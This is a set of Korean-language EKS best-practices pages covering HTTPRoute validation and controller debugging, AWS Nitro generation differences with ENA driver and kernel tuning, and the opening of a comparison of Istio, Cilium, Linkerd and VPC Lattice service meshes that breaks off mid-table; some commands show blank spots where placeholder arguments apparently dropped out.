if ! kubectl get httproute $HTTPROUTE_NAME -n $NAMESPACE &>/dev/null; then
echo "❌ HTTPRoute not found"
exit 1
fi
echo "✅ HTTPRoute exists"
# 2. Accepted Condition 확인
ACCEPTED=$(kubectl get httproute $HTTPROUTE_NAME -n $NAMESPACE -o jsonpath='{.status.parents[0].conditions[?(@.type=="Accepted")].status}')
if [ "$ACCEPTED" != "True" ]; then
REASON=$(kubectl get httproute $HTTPROUTE_NAME -n $NAMESPACE -o jsonpath='{.status.parents[0].conditions[?(@.type=="Accepted")].reason}')
echo "❌ HTTPRoute not accepted. Reason: $REASON"
exit 1
fi
echo "✅ HTTPRoute accepted by Gateway"
# 3. Programmed Condition 확인
PROGRAMMED=$(kubectl get httproute $HTTPROUTE_NAME -n $NAMESPACE -o jsonpath='{.status.parents[0].conditions[?(@.type=="Programmed")].status}')
if [ "$PROGRAMMED" != "True" ]; then
REASON=$(kubectl get httproute $HTTPROUTE_NAME -n $NAMESPACE -o jsonpath='{.status.parents[0].conditions[?(@.type=="Programmed")].reason}')
echo "❌ HTTPRoute not programmed. Reason: $REASON"
exit 1
fi
echo "✅ HTTPRoute programmed in dataplane"
# 4. Backend 서비스 확인
BACKEND_SERVICES=$(kubectl get httproute $HTTPROUTE_NAME -n $NAMESPACE -o jsonpath='{.spec.rules[*].backendRefs[*].name}')
for svc in $BACKEND_SERVICES; do
if ! kubectl get service $svc -n $NAMESPACE &>/dev/null; then
echo "❌ Backend service not found: $svc"
exit 1
fi
ENDPOINTS=$(kubectl get endpoints $svc -n $NAMESPACE -o jsonpath='{.subsets[*].addresses[*].ip}' | wc -w)
if [ "$ENDPOINTS" -eq 0 ]; then
echo "⚠️ Warning: Service $svc has no endpoints"
else
echo "✅ Backend service $svc has $ENDPOINTS endpoint(s)"
fi
done
# 5. Gateway 주소 확인
PARENT_GATEWAY=$(kubectl get httproute $HTTPROUTE_NAME -n $NAMESPACE -o jsonpath='{.spec.parentRefs[0].name}')
PARENT_NAMESPACE=$(kubectl get httproute $HTTPROUTE_NAME -n $NAMESPACE -o jsonpath='{.spec.parentRefs[0].namespace}')
PARENT_NAMESPACE=${PARENT_NAMESPACE:-$NAMESPACE}
GATEWAY_ADDRESS=$(kubectl get gateway $PARENT_GATEWAY -n $PARENT_NAMESPACE -o jsonpath='{.status.addresses[0].value}')
if [ -z "$GATEWAY_ADDRESS" ]; then
echo "❌ Gateway has no address assigned"
exit 1
fi
echo "✅ Gateway address: $GATEWAY_ADDRESS"
# 6. 실제 HTTP 요청 테스트
HOSTNAMES=$(kubectl get httproute $HTTPROUTE_NAME -n $NAMESPACE -o jsonpath='{.spec.hostnames[*]}')
FIRST_HOST=$(echo $HOSTNAMES | awk '{print $1}')
FIRST_PATH=$(kubectl get httproute $HTTPROUTE_NAME -n $NAMESPACE -o jsonpath='{.spec.rules[0].matches[0].path.value}')
echo ""
echo "=== HTTP Request Test ==="
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" -H "Host: $FIRST_HOST" http://$GATEWAY_ADDRESS$FIRST_PATH --max-time 5)
if [ "$HTTP_CODE" -ge 200 ] && [ "$HTTP_CODE" -lt 400 ]; then
echo "✅ HTTP request successful (HTTP $HTTP_CODE)"
else
echo "❌ HTTP request failed (HTTP $HTTP_CODE)"
exit 1
fi
echo ""
echo "=== All Checks Passed ==="
```
**사용 예시:**
```bash
chmod +x validate-httproute.sh
./validate-httproute.sh production api-route
```
---
## 5. 문제 해결
### 5.1 일반적인 이슈 및 해결 방법
### 5.2 컨트롤러별 디버깅 명령어
**AWS Load Balancer Controller**
```bash
# 컨트롤러 로그 확인
kubectl logs -n kube-system deployment/aws-load-balancer-controller --tail=100 -f
# Gateway의 실제 NLB 확인
kubectl get gateway -n -o jsonpath='{.metadata.annotations.service\.beta\.kubernetes\.io/aws-load-balancer-name}'
# NLB의 Target Group 상태 확인
aws elbv2 describe-target-health --target-group-arn
# HTTPRoute 이벤트 확인
kubectl describe httproute -n
```
**Cilium Gateway API**
```bash
# Cilium Operator 로그
kubectl logs -n kube-system deployment/cilium-operator --tail=100 -f
# Envoy 구성 덤프
kubectl exec -n kube-system ds/cilium -- cilium envoy config dump > envoy-config.json
# HTTPRoute 라우팅 테이블 확인
kubectl exec -n kube-system ds/cilium -- cilium service list
# 플로우 모니터링 (Gateway 관련)
hubble observe --protocol http --port 443
# Gateway 상태 확인
cilium status --wait
```
**NGINX Gateway Fabric**
```bash
# NGINX Gateway 로그
kubectl logs -n nginx-gateway deployment/nginx-gateway --tail=100 -f
# NGINX 구성 확인
kubectl exec -n nginx-gateway deployment/nginx-gateway -- nginx -T
# HTTPRoute 매핑 확인
kubectl describe httproute -n
# 접근 로그 실시간 확인
kubectl logs -n nginx-gateway deployment/nginx-gateway -f | grep "HTTP/1.1"
```
**Envoy Gateway**
```bash
# Envoy Gateway 컨트롤러 로그
kubectl logs -n envoy-gateway-system deployment/envoy-gateway --tail=100 -f
# Envoy Proxy 로그 (데이터플레인)
kubectl logs -n envoy-gateway-system deployment/envoy- --tail=100 -f
# Envoy 관리 인터페이스 포트 포워딩
kubectl port-forward -n envoy-gateway-system deployment/envoy- 19000:19000
# 브라우저에서 http://localhost:19000 접속하여 stats, config 확인
# xDS 구성 덤프
curl http://localhost:19000/config_dump > envoy-xds-config.json
```
**공통 디버깅**
```bash
# Gateway 상태 상세 확인
kubectl get gateway -n -o yaml
# HTTPRoute 상태 상세 확인
kubectl get httproute -n -o yaml
# 백엔드 Service 엔드포인트 확인
kubectl get endpoints -n
# Pod가 Ready 상태인지 확인
kubectl get pods -n -l
# 네트워크 정책 확인 (트래픽 차단 여부)
kubectl get networkpolicies -n
# 이벤트 확인 (최근 10분)
kubectl get events -n --sort-by='.lastTimestamp' | tail -20
```
---
## 관련 문서
- **[Gateway API 도입 가이드](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide)** - 전체 Gateway API 마이그레이션 가이드
- **[Cilium ENI 모드 + Gateway API](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/cilium-eni-gateway-api)** - Cilium 심화 구성 가이드
- [Gateway API 공식 문서](https://gateway-api.sigs.k8s.io/)
- [AWS Load Balancer Controller](https://kubernetes-sigs.github.io/aws-load-balancer-controller/)
---
# AWS Nitro 아키텍처와 성능 튜닝
> AWS Nitro System의 구성 요소와 v2~v6 세대별 네트워크 변경 사항, 그리고 EKS 노드에서 요구되는 ENA 드라이버·커널 버전과 PPS/CPS 중심 성능 튜닝 전략을 다룹니다.
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance/nitro-architecture-performance-tuning
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, networking, performance, ena, nitro
## 개요
AWS Nitro System은 현세대 Amazon EC2 인스턴스의 기반 플랫폼이며, EKS 워커 노드의 네트워크·스토리지·보안 동작을 결정합니다. Nitro는 세대(v2~v6)별로 네트워크 대역폭, ENA(Elastic Network Adapter) 기능, TCP 동작이 다르고, 이에 따라 노드 AMI의 ENA 드라이버·커널 버전 요구사항과 성능 튜닝 포인트가 달라집니다. 이 문서는 Nitro 구성 요소와 세대별 변경 사항을 정리하고, EKS 노드 관점에서 확인해야 할 드라이버·커널 요건과 PPS(Packets Per Second)/CPS(Connections Per Second) 중심 튜닝 전략을 다룹니다.
## 배경
Nitro System은 가상화 오버헤드를 전용 하드웨어로 오프로드하는 구성 요소의 집합입니다.
- **Nitro 카드**: 네트워크·로컬 NVMe 스토리지·관리·모니터링·보안 등 모든 I/O 인터페이스를 호스트 메인보드와 물리적으로 분리된 자체 컴퓨팅 장치에서 처리합니다.
- **Nitro 보안 칩**: 메인보드에 통합되어 하드웨어 신뢰 기반을 제공합니다.
- **Nitro 하이퍼바이저**: 메모리·CPU 할당만 담당하는 경량 하이퍼바이저로, 대부분의 워크로드에서 베어메탈과 구분되지 않는 성능을 제공합니다.
인스턴스의 Nitro 버전은 인스턴스 패밀리 스펙 페이지의 **Platform summary 표 `Hypervisor` 컬럼**에서 확인합니다. 세대별 기능은 **누적(cumulative)** 되며, 상위 버전은 하위 버전 기능을 모두 포함합니다(명시적 예외 제외).
## 세대별 네트워크 변경 사항
| 세대 | 주요 변경 | 대표 인스턴스 |
|------|-----------|--------------|
| **v6** | 네트워크 카드당 최대 400Gbps. 유휴 TCP established 타임아웃 432,000초 → **350초**로 단축. Traffic Mirroring 미지원 | M8i·C8i·R8i, M8g, P6-B200, G7 |
| **v5** | 카드당 최대 200Gbps. Traffic Mirroring 미지원 | M8g·C8g·R8g, Trn2, P5en, P6e-GB200 |
| **v4** | GPU·Trainium 계열 100Gbps, 그 외 최대 170Gbps. **ENA Express** 지원, 일부 타입 RDMA read/write(EFA) 지원. Traffic Mirroring 지원 | M7i·C7i·R7i, M7g, Inf2, Trn1, P5, G6 |
| **v3** | 카드당 최대 100Gbps. **전송 중 암호화(encryption in transit)**. Traffic Mirroring 지원 | C5n, R5n, P4d, G4dn, Inf1 |
| **v2** | **ENA 기반 향상된 네트워킹(enhanced networking)** 도입. Traffic Mirroring 지원 | M5·C5·R5, M6g·C6g, T3·T4g |
:::warning v6의 TCP established 타임아웃 단축 영향
Nitro v6에서 유휴 TCP 연결의 기본 established 타임아웃이 432,000초에서 **350초로 대폭 단축**되었습니다. 커넥션 풀, gRPC keepalive, 장시간 유휴 DB 연결 등 long-lived 연결을 유지하는 워크로드는 의도치 않은 연결 종료를 겪을 수 있습니다. 애플리케이션·커널의 keepalive 설정(`net.ipv4.tcp_keepalive_time` 등)을 타임아웃보다 짧게 조정해 연결을 유지해야 합니다.
:::
## 드라이버 및 커널 요구사항
Nitro 인스턴스는 향상된 네트워킹에 ENA를, 스토리지 볼륨에 NVMe 블록 디바이스를 사용합니다. 세대가 올라갈수록 드라이버·커널 요건이 엄격해지며, 이는 성능뿐 아니라 ENI 어태치 성공 여부에도 직결됩니다.
### ENA 드라이버 최소 버전
- ENA Linux 드라이버 **2.2.9 이상**: Nitro v4 권장, **Nitro v5 이상 필수**.
- v5에서 2.2.9 미만, v5 이전 세대에서 1.2.0 미만 드라이버는 **ENI 어태치 실패**를 유발합니다.
- **accelerated path(가속 경로) 기능은 최신 ENA 드라이버(2.2.9 이상)에서만 동작**합니다. 구버전 드라이버는 가속 경로를 지원하지 않아 PPS 성능이 저하됩니다. 따라서 드라이버 최신화가 사실상 1순위 튜닝 항목입니다.
### 배포판별 최소 커널 버전
ENA 기능의 최적 성능을 위해 일부 배포판은 최소 커널 버전을 요구합니다.
| 배포판 | 최소 커널 |
|--------|-----------|
| Linux upstream | 5.9 |
| Amazon Linux 2 | 4.14.186 |
| RHEL | 8.4 (4.18.0-305) |
| Ubuntu | 20.04 (5.4.0-1025-aws) |
| Debian | 11 (5.10.0) |
Amazon Linux 2023과 Bottlerocket은 Nitro v4 이상의 ENA 기능을 기본 지원하므로 별도 커널 튜닝이 필요하지 않습니다. EKS 노드는 가능하면 Amazon Linux 2023 또는 Bottlerocket 기반 AMI를 사용하는 것이 드라이버·커널 관리 부담을 줄이는 방법입니다.
### Graviton(arm64) 추가 요건
Graviton 프로세서 인스턴스는 64-bit ARM 아키텍처 AMI와 ACPI 테이블·PCI 디바이스 ACPI 핫플러그를 지원하는 UEFI 부팅을 요구하며, Linux 운영체제만 지원합니다.
## 네트워크 성능 튜닝
모든 현세대 EC2 인스턴스는 네트워크 패킷 처리를 Nitro 카드에서 수행합니다. Nitro 카드는 새 플로우의 첫 패킷에 대해 보안 그룹·ACL·라우팅을 평가하고, 동일 플로우의 후속 패킷에는 캐시된 정보를 재사용해 오버헤드를 줄입니다. 플로우는 출발/목적지 IP·포트와 프로토콜로 구성된 **5-tuple**로 식별됩니다.
### PPS와 CPS를 함께 고려
신규 연결(CPS)은 5-tuple 전체 평가가 필요해 비용이 크고, 연결이 수립된 후의 패킷(PPS)만 가속 경로의 이점을 받습니다. DNS·방화벽·가상 라우터처럼 신규 연결률이 높은 워크로드는 가속 이점이 적으므로, 연결을 재사용하도록 애플리케이션을 설계해야 합니다.
### 주요 튜닝 포인트
- **ENA 드라이버 최신화**: 가속 경로 활성화의 전제 조건. 위 최소 버전 이상으로 유지합니다.
- **비대칭 라우팅 회피**: 인바운드/아웃바운드 인터페이스가 다르면 보안 그룹 conntrack 추적으로 피크 성능이 저하됩니다. conntrack allowance를 소진하면 신규 연결이 throttle됩니다.
- **동일 AZ 내 통신 선호**: 장거리 연결은 TCP windowing과 RTT 증가로 PPS가 감소합니다.
- **BQL(Byte Queue Limit)**: ENA 드라이버와 대부분의 배포판에서 기본 비활성. fragment proxy override와 동시 활성 시 성능 제약이 발생할 수 있습니다.
### 커널 파라미터 및 드라이버 튜닝
Nitro 인스턴스의 네트워크 성능은 ENA 드라이버 모듈 파라미터, ethtool 설정, 그리고 커널 sysctl 값으로 조정할 수 있습니다. 아래 항목은 AWS 공식 문서가 명시한 튜닝 포인트와, 워크로드 특성에 따라 조정하는 일반 커널 파라미터를 구분해 정리합니다. 모든 값은 적용 전후로 피크 active flow 기준 벤치마크를 권장합니다.
#### ENA 드라이버 모듈 파라미터
| 항목 | 설명 | 적용 방법 |
|------|------|-----------|
| `enable_frag_bypass` | egress fragment의 PPS 제한(1024)을 우회하는 fragment proxy mode. MTU 초과로 단편화가 잦은 워크로드에 유효 | 드라이버 로드 시 `sudo insmod ena.ko enable_frag_bypass=1` |
fragment proxy mode는 BQL과 동시 활성 시 성능 제약이 발생할 수 있으므로 함께 사용하지 않습니다. 세부 옵션은 ENA Linux 드라이버 README와 Best Practices 가이드를 참조합니다.
#### ENA 큐 및 링 버퍼 (ethtool)
고성능 네트워크 워크로드는 다수의 ENA 큐를 활용해 vCPU당 처리를 분산해야 합니다. 지원 인스턴스 타입에서는 ENI별로 큐를 동적 할당(Flexible ENA queue allocation)할 수 있습니다. 큐 개수와 링 버퍼 크기는 `ethtool`로 확인·조정합니다.
```bash
# 현재 채널(큐) 수 확인 및 조정
ethtool -l eth0
ethtool -L eth0 combined
# 링 버퍼 크기 확인 및 조정 (드롭 발생 시 상향)
ethtool -g eth0
ethtool -G eth0 rx tx
```
#### 연결 관리 (conntrack · TCP keepalive)
- **유휴 연결 타임아웃**: 보안 그룹 connection tracking은 유휴 연결을 추적해 conntrack allowance를 소비합니다. idle 연결을 빨리 닫으려면 connection tracking 타임아웃을, 반대로 유휴 연결을 유지하려면 TCP keepalive를 사용합니다.
- **Nitro v6 대응**: v6는 established 타임아웃이 350초로 짧으므로, long-lived 연결 유지가 필요하면 커널 keepalive 주기를 그보다 짧게 설정합니다.
```bash
# TCP keepalive — 유휴 연결 유지 (350초보다 짧게)
sysctl -w net.ipv4.tcp_keepalive_time=300
sysctl -w net.ipv4.tcp_keepalive_intvl=30
sysctl -w net.ipv4.tcp_keepalive_probes=5
```
#### 워크로드별 일반 커널 파라미터
다음 sysctl은 AWS가 단일 권장값을 제공하지 않으며, NMA가 노출하는 커널 이벤트(`ApproachingKernelPidMax`, `ApproachingMaxOpenFiles`, `ConntrackExceededKernel`)나 ethtool 드롭 메트릭이 관찰될 때 워크로드에 맞게 상향합니다.
| 파라미터 | 조정 계기 (NMA 이벤트 등) |
|----------|---------------------------|
| `net.netfilter.nf_conntrack_max` | `ConntrackExceededKernel` — 커널 conntrack 테이블 포화 |
| `kernel.pid_max` | `ApproachingKernelPidMax` — PID 고갈 임박 |
| `fs.file-max` / `fs.nr_open` | `ApproachingMaxOpenFiles` — open file 한계 임박 |
| `net.core.somaxconn`, `net.ipv4.tcp_max_syn_backlog` | 고CPS 서비스의 연결 수락 큐 포화 |
| `net.core.rmem_max` / `net.core.wmem_max` | 고대역폭(100Gbps+) 전송 시 소켓 버퍼 |
:::warning EKS 노드에서의 sysctl 적용 방법
EKS 워커 노드에서 위 커널 파라미터를 영구 적용할 때는 노드 OS를 직접 수정하지 않고 노드 부트스트랩 계층에서 설정합니다.
- **관리형 노드그룹 / self-managed**: launch template user data 또는 Bottlerocket의 `[settings.kernel.sysctl]` 설정
- **Pod 단위**: Pod `securityContext.sysctls`(namespaced sysctl) 또는 init container의 privileged 설정
- **DaemonSet**: 노드 전역 sysctl이 필요하면 부팅 시 적용하는 node-tuning DaemonSet
`net.core.*`, `net.ipv4.tcp_*` 같은 노드 전역(non-namespaced) 파라미터는 Pod `securityContext`로 설정할 수 없으므로 노드 부트스트랩 계층에서 적용해야 합니다.
:::
성능 지표는 ENA 드라이버가 노출하는 ethtool 메트릭(`bw_in/out_allowance_exceeded`, `pps_allowance_exceeded`, `conntrack_allowance_exceeded`, `conntrack_allowance_available` 등)으로 모니터링합니다. 이 값이 0이 아니면 해당 allowance가 한계에 도달했음을 의미하며, 커널 튜닝 또는 상위 Nitro 세대 인스턴스로의 전환을 검토합니다.
### EKS 관점의 연계 신호
EKS Node Monitoring Agent(NMA)는 Nitro/ENA 계층의 한계 초과를 노드 이벤트로 노출합니다. `BandwidthInExceeded`·`BandwidthOutExceeded`·`PPSExceeded`·`ConntrackExceeded`·`LinkLocalExceeded`·`NetworkSysctl` 등이 대표적이며, 이들은 Event 심각도라 Auto Repair를 트리거하지 않습니다. 즉 노드 자동 교체로는 해소되지 않으므로, 해당 이벤트가 반복되면 인스턴스 타입 상향(상위 Nitro 세대)이나 워크로드 분산 같은 설계 대응이 필요합니다. 노드 헬스 신호 해석은 [EKS Node Monitoring Agent](../operations-reliability/node-monitoring-agent.md) 문서를 참조합니다.
## 결론
Nitro 세대는 EKS 노드의 네트워크 대역폭·TCP 동작·드라이버 요건을 결정하는 하드웨어 계층입니다. 워크로드가 배치될 인스턴스 패밀리의 Nitro 버전을 먼저 확인하고, v5 이상은 ENA 드라이버 2.2.9 이상을 충족하는 AMI를 사용해야 합니다. v6 인스턴스는 단축된 TCP established 타임아웃을 고려한 keepalive 조정이 필요하며, 고PPS·고CPS 워크로드는 가속 경로를 최대한 활용하도록 연결 재사용과 비대칭 라우팅 회피를 설계에 반영해야 합니다. 커널 파라미터 튜닝은 ENA 드라이버 모듈 옵션·ethtool 큐/링 버퍼·conntrack/keepalive sysctl을 중심으로 하되, AWS는 워크로드별 단일 권장값을 제공하지 않으므로 ethtool allowance 메트릭과 NMA 이벤트를 근거로 벤치마크하며 조정합니다. EKS 노드에서는 노드 부트스트랩 계층(launch template user data·Bottlerocket 설정) 또는 Pod `securityContext`를 통해 적용합니다.
## 참고 자료
### 공식 문서
- [Instances built on the AWS Nitro System](https://docs.aws.amazon.com/ec2/latest/instancetypes/ec2-nitro-instances.html) — 세대별 네트워크 기능, 인스턴스 매핑, 드라이버·커널 요구사항
- [Nitro system considerations for performance tuning](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ena-nitro-perf.html) — 패킷 플로우, PPS/CPS, 가속 경로 및 PPS 튜닝(`enable_frag_bypass`)
- [ENA Linux Driver Best Practices and Performance Optimization Guide](https://github.com/amzn/amzn-drivers/blob/master/kernel/linux/ena/ENA_Linux_Best_Practices.rst) — ENA 드라이버 큐·링 버퍼·튜닝 모범 사례
- [Monitor network performance for ENA settings](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-network-performance-ena.html) — ethtool allowance 메트릭 모니터링
- [AWS Nitro System](https://aws.amazon.com/ec2/nitro/) — Nitro 구성 요소 개요
### 기술 블로그
- [Using connection tracking improvements to increase network performance](https://aws.amazon.com/blogs/networking-and-content-delivery/using-connection-tracking-improvements-to-increase-network-performance/) — conntrack allowance와 성능
- [EC2 instance-level network performance metrics](https://aws.amazon.com/blogs/networking-and-content-delivery/amazon-ec2-instance-level-network-performance-metrics-uncover-new-insights/) — ENA allowance 초과 메트릭 모니터링
### 관련 문서 (내부)
- [EKS Node Monitoring Agent](../operations-reliability/node-monitoring-agent.md) — 노드 네트워크 한계 초과 이벤트 해석
- [Cilium ENI + Gateway API](./gateway-api-adoption-guide/cilium-eni-gateway-api.md) — ENA 드라이버 기반 ENI 모드 네트워킹
---
# EKS 서비스 메시 솔루션 비교 가이드 — Istio, Cilium, Linkerd, VPC Lattice
> EKS 환경에서 주요 서비스 메시 솔루션의 데이터 플레인 아키텍처, mTLS, L7 정책, 관측성, 성능 오버헤드, 운영 복잡도를 비교하고 워크로드별 선택 기준을 제시합니다
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance/service-mesh
Category: EKS Best Practices
Last updated: 2026-07-15
Author: YoungJoon Jeong
Tags: service-mesh, istio, cilium, linkerd, vpc-lattice, eks, networking
## 개요
[Gateway API 도입 가이드](../gateway-api-adoption-guide/index.md)가 North-South(인그레스) 트래픽 관리를 다뤘다면, 이 문서는 East-West(서비스 간) 트래픽을 담당하는 **서비스 메시 계층**을 다룹니다. EKS 환경에서 실질적인 선택지인 4개 솔루션 — Istio(사이드카·Ambient), Cilium Service Mesh, Linkerd, AWS VPC Lattice — 의 아키텍처, 기능, 성능 오버헤드, 운영 복잡도를 비교하고 워크로드 특성별 선택 기준을 제시합니다.
대상 독자는 mTLS·L7 트래픽 제어·서비스 간 관측성 요구사항을 가진 플랫폼 엔지니어와, AWS App Mesh 지원 종료에 따라 대체 솔루션을 검토하는 조직입니다. 도입 후 지연·비용 최적화는 [East-West 트래픽 최적화](../east-west-traffic-best-practice.md)에서 별도로 다룹니다.
**TL;DR**
| 상황 | 권장 솔루션 |
|------|------------|
| 기능 완결성·생태계 최우선, 전담 운영 인력 보유 | Istio (Ambient 모드 우선) |
| CNI가 이미 Cilium, 최소 오버헤드 | Cilium Service Mesh |
| 소규모 팀, 최소 설정으로 자동 mTLS | Linkerd |
| 멀티 계정·멀티 VPC, 관리형 선호 | AWS VPC Lattice |
| App Mesh 사용 중 | **2026년 9월 30일 지원 종료** — 위 4개 중 이전 필수 |
## 서비스 메시 도입 판단 기준
### 서비스 메시가 해결하는 문제
서비스 메시는 서비스 간 통신에 다음 기능을 애플리케이션 코드 수정 없이 제공합니다.
- **mTLS / Zero-Trust**: 서비스 간 상호 인증과 전송 암호화를 플랫폼 계층에서 강제합니다. ISMS-P(정보보호 관리체계)·PCI-DSS 등 규제 환경에서 전 구간 암호화 요구를 충족하는 표준 수단입니다.
- **L7 트래픽 제어**: 가중치 기반 트래픽 분할(카나리), 헤더 기반 라우팅, 재시도·타임아웃·서킷 브레이커를 서비스 단위로 선언적으로 관리합니다.
- **관측성**: 서비스 간 골든 시그널(지연·트래픽·에러·포화도) 메트릭과 분산 트레이싱을 계측 코드 없이 수집합니다.
### 서비스 메시가 필요 없는 경우
다음 시나리오에서는 메시 없이 Kubernetes 네이티브 기능으로 충분합니다.
- **트래픽 지역성 최적화만 필요**: Topology Aware Routing, `internalTrafficPolicy`로 해결됩니다 — [East-West 트래픽 최적화](../east-west-traffic-best-practice.md) 참조
- **L3/L4 접근 제어만 필요**: NetworkPolicy(또는 CiliumNetworkPolicy)로 충분합니다
- **서비스 수 10개 미만의 소규모 워크로드**: 메시의 운영 비용이 이점을 상회할 가능성이 높습니다
- **지연 민감도가 극단적으로 높은 경로**: 프록시 경유 자체가 부담이면 해당 경로만 메시에서 제외하는 설계가 필요합니다
### AWS App Mesh 지원 종료
:::warning AWS App Mesh EOL — 2026년 9월 30일
AWS App Mesh는 2026년 9월 30일에 지원이 종료됩니다. 종료일 이후 App Mesh 리소스에 접근할 수 없으며, 신규 도입은 불가합니다. AWS는 공식 마이그레이션 경로로 **Amazon VPC Lattice** 또는 **ECS Service Connect**(ECS 한정)를 안내하고 있으며, EKS에서는 Istio 등 오픈소스 메시로의 이전도 일반적인 선택지입니다.
- Envoy 기반 L7 기능(재시도·트래픽 분할)을 유지하려면 → Istio 또는 Cilium
- 관리형 운영 모델을 유지하려면 → VPC Lattice
:::
## 비교 대상 솔루션과 데이터 플레인 아키텍처
서비스 메시의 성능·운영 특성은 데이터 플레인 아키텍처가 결정합니다. 4개 솔루션은 서로 다른 4가지 접근을 대표합니다.
```mermaid
flowchart TB
subgraph istio_sc["Istio Sidecar"]
direction TB
a1["Pod A + Envoy"] <--> b1["Pod B + Envoy"]
end
subgraph istio_amb["Istio Ambient"]
direction TB
a2["Pod A"] --> zt1["ztunnel (L4, 노드당)"]
zt1 --> wp["waypoint (L7, 선택적)"]
wp --> zt2["ztunnel"]
zt2 --> b2["Pod B"]
end
subgraph cilium["Cilium Service Mesh"]
direction TB
a3["Pod A"] --> ebpf["eBPF (커널) + Envoy (노드당, L7시)"]
ebpf --> b3["Pod B"]
end
subgraph lattice["VPC Lattice"]
direction TB
a4["Pod A"] --> lat["Lattice 데이터 플레인 (AWS 관리형)"]
lat --> b4["Pod B / 타 VPC·계정"]
end
style istio_sc fill:#ffebee,stroke:#c62828
style istio_amb fill:#e3f2fd,stroke:#1565c0
style cilium fill:#e8f5e9,stroke:#2e7d32
style lattice fill:#fff3e0,stroke:#e65100
```
### Istio — 사이드카 모드와 Ambient 모드
Istio(현재 안정 버전 1.30, 2026년 5월 출시)는 가장 성숙한 기능 세트와 생태계를 보유한 메시입니다. 두 가지 데이터 플레인 모드를 제공합니다.
- **사이드카 모드**: Pod마다 Envoy 프록시를 주입합니다. 모든 L7 기능을 Pod 단위로 제공하지만, Pod 수에 비례해 리소스를 소모하고 Pod 라이프사이클에 프록시가 개입합니다.
- **Ambient 모드**: 노드당 L4 프록시(ztunnel)와 네임스페이스/서비스 단위의 선택적 L7 프록시(waypoint)로 분리합니다. 사이드카 없이 mTLS를 기본 제공하고, L7 기능이 필요한 서비스에만 waypoint를 배치해 오버헤드를 크게 줄입니다. Istio 1.24에서 GA에 도달했으며, 1.30에서는 멀티 네트워크 Ambient, `ServiceEntry` CIDR 라우팅, 사이드카→Ambient 마이그레이션 가이드가 추가되었습니다.
신규 도입 시 Ambient 모드가 기본 선택지입니다. 사이드카 모드는 Pod 단위 세밀 제어(예: Pod별 서로 다른 Envoy 필터)가 필요한 경우에만 유지합니다.
### Cilium Service Mesh — eBPF 기반 사이드카리스
Cilium(현재 안정 버전 1.19)은 CNI 계층에서 메시 기능을 흡수하는 접근입니다. L4 처리(로드밸런싱, 정책, 암호화)는 커널의 eBPF가 담당하고, L7 기능이 필요할 때만 노드당 Envoy 인스턴스를 경유합니다.
- **mTLS 방식이 다름**: Envoy 기반 메시의 TLS 핸드셰이크 대신 WireGuard 또는 IPsec으로 노드 간 전송 암호화를 제공하고, 인증은 SPIFFE 기반 상호 인증(mutual authentication)으로 처리합니다. 규제 요건이 "서비스 단위 mTLS 증적"을 요구하는 경우 감사 관점의 해석 차이를 사전 확인해야 합니다.
- **전제 조건**: 클러스터 CNI가 Cilium이어야 합니다. EKS에서는 VPC CNI를 Cilium ENI 모드로 대체하는 구성이며, 상세 절차는 [Cilium ENI 모드 + Gateway API 심화 구성](../gateway-api-adoption-guide/cilium-eni-gateway-api.md)을 참조합니다.
- 이미 Cilium을 CNI로 운영 중이라면 별도 메시 컴포넌트 추가 없이 Hubble 관측성·L7 정책을 활성화하는 것만으로 메시 기능 대부분을 확보합니다.
### Linkerd — 경량 Rust 프록시
Linkerd(현재 안정 버전 2.20, 2026년 6월 출시)는 "운영 단순성"에 집중한 메시입니다. Envoy 대신 목적 특화 Rust 마이크로프록시(linkerd2-proxy)를 사이드카로 사용하며, 프록시당 메모리가 수십 MB 수준으로 Envoy 대비 가볍습니다. 설치 직후 추가 설정 없이 자동 mTLS가 활성화됩니다.
- 2.20에서 Kubernetes Native Sidecar(1.29+)가 기본 배포 방식으로 승격되어, 사이드카 시작 순서·종료 순서 문제가 구조적으로 해소되었습니다. 컨트롤 플레인 메모리도 대규모 클러스터 기준 최대 85% 절감되었습니다.
- :::info Buoyant 배포판 정책
2024년부터 Linkerd 프로젝트는 안정(stable) 버전 바이너리를 직접 배포하지 않습니다. 안정 배포판은 Buoyant Enterprise for Linkerd(BEL)로 제공되며, 비프로덕션 환경과 50인 미만 기업의 프로덕션 사용은 무료입니다. 그 외 프로덕션 사용은 상용 라이선스가 필요하므로 도입 전 라이선스 조건 검토가 필수입니다. 오픈소스 edge 릴리스를 직접 운영하는 선택지도 있으나 자체 검증 부담이 있습니다.
:::
### AWS VPC Lattice — 관리형 대안
Amazon VPC Lattice는 엄밀히는 메시 제품이 아니라 **관리형 애플리케이션 네트워킹 서비스**지만, 서비스 간 연결·인증·관측성이라는 메시의 핵심 문제를 사이드카 없이 해결합니다.
- 데이터 플레인이 AWS 인프라에 내장되어 클러스터 내 프록시·에이전트가 없습니다. VPC·계정 경계를 네이티브로 넘습니다.
- 인증·인가는 IAM 정책(SigV4 서명)으로 처리합니다 — 인증서 관리가 사라지는 대신, 요청 서명을 위한 SDK/프록시 구성이 필요할 수 있습니다.
- Kubernetes에서는 [AWS Gateway API Controller](https://www.gateway-api-controller.eks.aws.dev/)로 Gateway API 리소스(HTTPRoute)를 통해 선언적으로 관리합니다 — GAMMA 패턴의 관리형 구현에 해당합니다.
- EKS 외 ECS·Lambda·EC2와의 통합이 필요한 이기종 환경에서 특히 유리합니다.
## 기능 비교 매트릭스
| 항목 | Istio (Ambient) | Cilium Service Mesh | Linkerd | VPC Lattice |
|------|----------------|--------------------|---------| ------------|
| 현재 안정 버전 | 1.30 | 1.19 | 2.20 (BEL) | 관리형 (버전 없음) |
| 데이터 플레인 | ztunnel(L4) + waypoint(L7) | eBPF + 노드당 Envoy | Rust 사이드카 | AWS 관리형 |
| 사이드카 | 불필요 | 불필요 | 필요 (Native Sidecar) | 불필요 |
| mTLS | 자동 (SPIFFE 인증서) | WireGuard/IPsec + 상호 인증 | 자동 (제로 설정) | IAM + SigV4 |
| L7 라우팅·트래픽 분할 | HTTPRoute·VirtualService | HTTPRoute·CiliumEnvoyConfig | HTTPRoute | HTTPRoute (Lattice 규칙) |
